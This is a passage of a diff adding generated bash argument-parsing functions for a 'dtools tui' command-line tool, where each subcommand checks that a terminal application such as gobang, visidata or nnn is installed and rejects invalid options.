[[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_development_ecs_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v e1s >/dev/null 2>&1; then + printf "missing dependency: e1s\n" >&2 + printf "%s\n\n" "See 'https://github.com/keidarcy/e1s'" >&2 + missing_deps=1 + else + deps['e1s']="$(command -v e1s | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui development ecs" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_development_openapi_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_development_openapi_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v openapi-tui >/dev/null 2>&1; then + printf "missing dependency: openapi-tui\n" >&2 + printf "%s\n\n" "See 'https://github.com/zaghaghi/openapi-tui'" >&2 + missing_deps=1 + else + deps['openapi-tui']="$(command -v openapi-tui | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui development openapi" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_development_gcs_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_development_gcs_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v burf >/dev/null 2>&1; then + printf "missing dependency: burf\n" >&2 + printf "%s\n\n" "See 'https://github.com/razeghi71/burf'" >&2 + missing_deps=1 + else + deps['burf']="$(command -v burf | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui development gcs" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + # :argument.case + if [[ -z ${args['gcs_url']+x} ]]; then + args['gcs_url']=$1 + shift + else + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + fi + + ;; + + esac + done + + # :command.required_args_filter + if [[ -z ${args['gcs_url']+x} ]]; then + printf "missing required argument: GCS_URL\nusage: dtools tui development gcs GCS_URL\n" >&2 + + exit 1 + fi + +} + +# :command.parse_requirements +dtools_tui_development_prs_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_development_prs_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v prs >/dev/null 2>&1; then + printf "missing dependency: prs\n" >&2 + printf "%s\n\n" "See 'https://github.com/dhth/prs'" >&2 + missing_deps=1 + else + deps['prs']="$(command -v prs | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui development prs" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_development_s3_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_development_s3_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v stu >/dev/null 2>&1; then + printf "missing dependency: stu\n" >&2 + printf "%s\n\n" "See 'https://lusingander.github.io/stu/'" >&2 + missing_deps=1 + else + deps['stu']="$(command -v stu | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui development s3" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_development_terraform_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_development_terraform_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v pug >/dev/null 2>&1; then + printf "missing dependency: pug\n" >&2 + printf "%s\n\n" "See 'https://github.com/leg100/pug'" >&2 + missing_deps=1 + else + deps['pug']="$(command -v pug | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui development terraform" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + # :flag.case + --terraform) + + # :flag.case_no_arg + args['--terraform']=1 + shift + ;; + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_development_journal_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_development_journal_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v lazyjournal >/dev/null 2>&1; then + printf "missing dependency: lazyjournal\n" >&2 + printf "%s\n\n" "See 'https://github.com/Lifailon/lazyjournal'" >&2 + missing_deps=1 + else + deps['lazyjournal']="$(command -v lazyjournal | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui development journal" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_development_multi_host_log_viewer_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_development_multi_host_log_viewer_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v nerdlog >/dev/null 2>&1; then + printf "missing dependency: nerdlog\n" >&2 + printf "%s\n\n" "See 'https://github.com/dimonomid/nerdlog'" >&2 + missing_deps=1 + else + deps['nerdlog']="$(command -v nerdlog | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui development multi-host-log-viewer" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_dev_help_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_dev_help_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action=${1:-} + + case $action in + -*) ;; + + stack-overflow) + action="stack-overflow" + shift + dtools_tui_dev_help_stack_overflow_parse_requirements "$@" + shift $# + ;; + + wiki) + action="wiki" + shift + dtools_tui_dev_help_wiki_parse_requirements "$@" + shift $# + ;; + + # :command.command_fallback + "") + dtools_tui_dev_help_usage >&2 + exit 1 + ;; + + *) + printf "invalid command: %s\n" "$action" >&2 + exit 1 + ;; + + esac + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_dev_help_stack_overflow_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_dev_help_stack_overflow_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v so >/dev/null 2>&1; then + printf "missing dependency: so\n" >&2 + printf "%s\n\n" "See 'https://github.com/samtay/so'" >&2 + missing_deps=1 + else + deps['so']="$(command -v so | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui dev-help stack-overflow" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_dev_help_wiki_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_dev_help_wiki_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v wiki-tui >/dev/null 2>&1; then + printf "missing dependency: wiki-tui\n" >&2 + printf "%s\n\n" "See 'https://wiki-tui.net/latest/'" >&2 + missing_deps=1 + else + deps['wiki-tui']="$(command -v wiki-tui | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui dev-help wiki" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_data_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_data_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action=${1:-} + + case $action in + -*) ;; + + db) + action="db" + shift + dtools_tui_data_db_parse_requirements "$@" + shift $# + ;; + + explorer) + action="explorer" + shift + dtools_tui_data_explorer_parse_requirements "$@" + shift $# + ;; + + database-ide) + action="database-ide" + shift + dtools_tui_data_database_ide_parse_requirements "$@" + shift $# + ;; + + kafka) + action="kafka" + shift + dtools_tui_data_kafka_parse_requirements "$@" + shift $# + ;; + + jupyter-notebook) + action="jupyter-notebook" + shift + dtools_tui_data_jupyter_notebook_parse_requirements "$@" + shift $# + ;; + + # :command.command_fallback + "") + dtools_tui_data_usage >&2 + exit 1 + ;; + + *) + printf "invalid command: %s\n" "$action" >&2 + exit 1 + ;; + + esac + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_data_db_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_data_db_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v gobang >/dev/null 2>&1; then + printf "missing dependency: gobang\n" >&2 + printf "%s\n\n" "See 'https://github.com/TaKO8Ki/gobang'" >&2 + missing_deps=1 + else + deps['gobang']="$(command -v gobang | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui data db" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_data_explorer_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_data_explorer_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v visidata >/dev/null 2>&1; then + printf "missing dependency: visidata\n" >&2 + printf "%s\n\n" "See 'https://www.visidata.org/'" >&2 + missing_deps=1 + else + deps['visidata']="$(command -v visidata | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui data explorer" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_data_database_ide_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_data_database_ide_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v harlequin >/dev/null 2>&1; then + printf "missing dependency: harlequin\n" >&2 + printf "%s\n\n" "See 'https://harlequin.sh'" >&2 + missing_deps=1 + else + deps['harlequin']="$(command -v harlequin | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui data database-ide" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_data_kafka_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_data_kafka_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v yozefu >/dev/null 2>&1; then + printf "missing dependency: yozefu\n" >&2 + printf "%s\n\n" "See 'https://github.com/MAIF/yozefu'" >&2 + missing_deps=1 + else + deps['yozefu']="$(command -v yozefu | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui data kafka" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_data_jupyter_notebook_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_data_jupyter_notebook_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v euporie-notebook >/dev/null 2>&1; then + printf "missing dependency: euporie-notebook\n" >&2 + printf "%s\n\n" "See 'https://euporie.readthedocs.io/en/latest/'" >&2 + missing_deps=1 + else + deps['euporie-notebook']="$(command -v euporie-notebook | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui data jupyter-notebook" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_misc_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_misc_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action=${1:-} + + case $action in + -*) ;; + + notes) + action="notes" + shift + dtools_tui_misc_notes_parse_requirements "$@" + shift $# + ;; + + presentation) + action="presentation" + shift + dtools_tui_misc_presentation_parse_requirements "$@" + shift $# + ;; + + dev-chat) + action="dev-chat" + shift + dtools_tui_misc_dev_chat_parse_requirements "$@" + shift $# + ;; + + file-manager) + action="file-manager" + shift + dtools_tui_misc_file_manager_parse_requirements "$@" + shift $# + ;; + + screensaver) + action="screensaver" + shift + dtools_tui_misc_screensaver_parse_requirements "$@" + shift $# + ;; + + weather) + action="weather" + shift + dtools_tui_misc_weather_parse_requirements "$@" + shift $# + ;; + + linutil) + action="linutil" + shift + dtools_tui_misc_linutil_parse_requirements "$@" + shift $# + ;; + + slack) + action="slack" + shift + dtools_tui_misc_slack_parse_requirements "$@" + shift $# + ;; + + youtube-music) + action="youtube-music" + shift + dtools_tui_misc_youtube_music_parse_requirements "$@" + shift $# + ;; + + youtube-music-2) + action="youtube-music-2" + shift + dtools_tui_misc_youtube_music_2_parse_requirements "$@" + shift $# + ;; + + jellyfin) + action="jellyfin" + shift + dtools_tui_misc_jellyfin_parse_requirements "$@" + shift $# + ;; + + visualizations) + action="visualizations" + shift + dtools_tui_misc_visualizations_parse_requirements "$@" + shift $# + ;; + + visualizations-2) + action="visualizations-2" + shift + dtools_tui_misc_visualizations_2_parse_requirements "$@" + shift $# + ;; + + find-and-replace) + action="find-and-replace" + shift + dtools_tui_misc_find_and_replace_parse_requirements "$@" + shift $# + ;; + + ascii-theater) + action="ascii-theater" + shift + dtools_tui_misc_ascii_theater_parse_requirements "$@" + shift $# + ;; + + calendar) + action="calendar" + shift + dtools_tui_misc_calendar_parse_requirements "$@" + shift $# + ;; + + piano) + action="piano" + shift + dtools_tui_misc_piano_parse_requirements "$@" + shift $# + ;; + + servarr) + action="servarr" + shift + dtools_tui_misc_servarr_parse_requirements "$@" + shift $# + ;; + + # :command.command_fallback + "") + dtools_tui_misc_usage >&2 + exit 1 + ;; + + *) + printf "invalid command: %s\n" "$action" >&2 + exit 1 + ;; + + esac + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_misc_notes_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_misc_notes_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v joplin >/dev/null 2>&1; then + printf "missing dependency: joplin\n" >&2 + printf "%s\n\n" "See 'https://joplinapp.org/help/apps/terminal/'" >&2 + missing_deps=1 + else + deps['joplin']="$(command -v joplin | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui misc notes" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_misc_presentation_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_misc_presentation_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v patat >/dev/null 2>&1; then + printf "missing dependency: patat\n" >&2 + printf "%s\n\n" "See 'https://github.com/jaspervdj/patat'" >&2 + missing_deps=1 + else + deps['patat']="$(command -v patat | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui misc presentation" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_misc_dev_chat_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_misc_dev_chat_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="tui misc dev-chat" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + # :argument.case + if [[ -z ${args['nickname']+x} ]]; then + args['nickname']=$1 + shift + else + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + fi + + ;; + + esac + done + + # :command.required_args_filter + if [[ -z ${args['nickname']+x} ]]; then + printf "missing required argument: NICKNAME\nusage: dtools tui misc dev-chat NICKNAME\n" >&2 + + exit 1 + fi + +} + +# :command.parse_requirements +dtools_tui_misc_file_manager_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_misc_file_manager_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v nnn >/dev/null 2>&1; then + printf "missing dependency: nnn\n" >&2 + printf "%s\n\n" "See 'https://github.com/jarun/nnn'" >&2 + missing_deps=1 + else + deps['nnn']="$(command -v nnn | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui misc file-manager" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_misc_screensaver_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_misc_screensaver_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v ttysvr >/dev/null 2>&1; then + printf "missing dependency: ttysvr\n" >&2 + printf "%s\n\n" "See 'https://github.com/cxreiff/ttysvr'" >&2 + missing_deps=1 + else + deps['ttysvr']="$(command -v ttysvr | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui misc screensaver" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_misc_weather_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_misc_weather_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v wego >/dev/null 2>&1; then + printf "missing dependency: wego\n" >&2 + printf "%s\n\n" "See 'https://github.com/schachmat/wego'" >&2 + missing_deps=1 + else + deps['wego']="$(command -v wego | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui misc weather" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_misc_linutil_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_misc_linutil_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v linutil >/dev/null 2>&1; then + printf "missing dependency: linutil\n" >&2 + printf "%s\n\n" "See 'https://github.com/ChrisTitusTech/linutil'" >&2 + missing_deps=1 + else + deps['linutil']="$(command -v linutil | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui misc linutil" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_misc_slack_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_misc_slack_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v slack-term >/dev/null 2>&1; then + printf "missing dependency: slack-term\n" >&2 + printf "%s\n\n" "See 'https://github.com/jpbruinsslot/slack-term'" >&2 + missing_deps=1 + else + deps['slack-term']="$(command -v slack-term | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui misc slack" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_misc_youtube_music_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_misc_youtube_music_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v ytermusic >/dev/null 2>&1; then + printf "missing dependency: ytermusic\n" >&2 + printf "%s\n\n" "See 'https://github.com/ccgauche/ytermusic'" >&2 + missing_deps=1 + else + deps['ytermusic']="$(command -v ytermusic | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui misc youtube-music" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_misc_youtube_music_2_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_misc_youtube_music_2_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v ytui_music >/dev/null 2>&1; then + printf "missing dependency: ytui_music\n" >&2 + printf "%s\n\n" "See 'https://github.com/sudipghimire533/ytui-music'" >&2 + missing_deps=1 + else + deps['ytui_music']="$(command -v ytui_music | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui misc youtube-music-2" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # 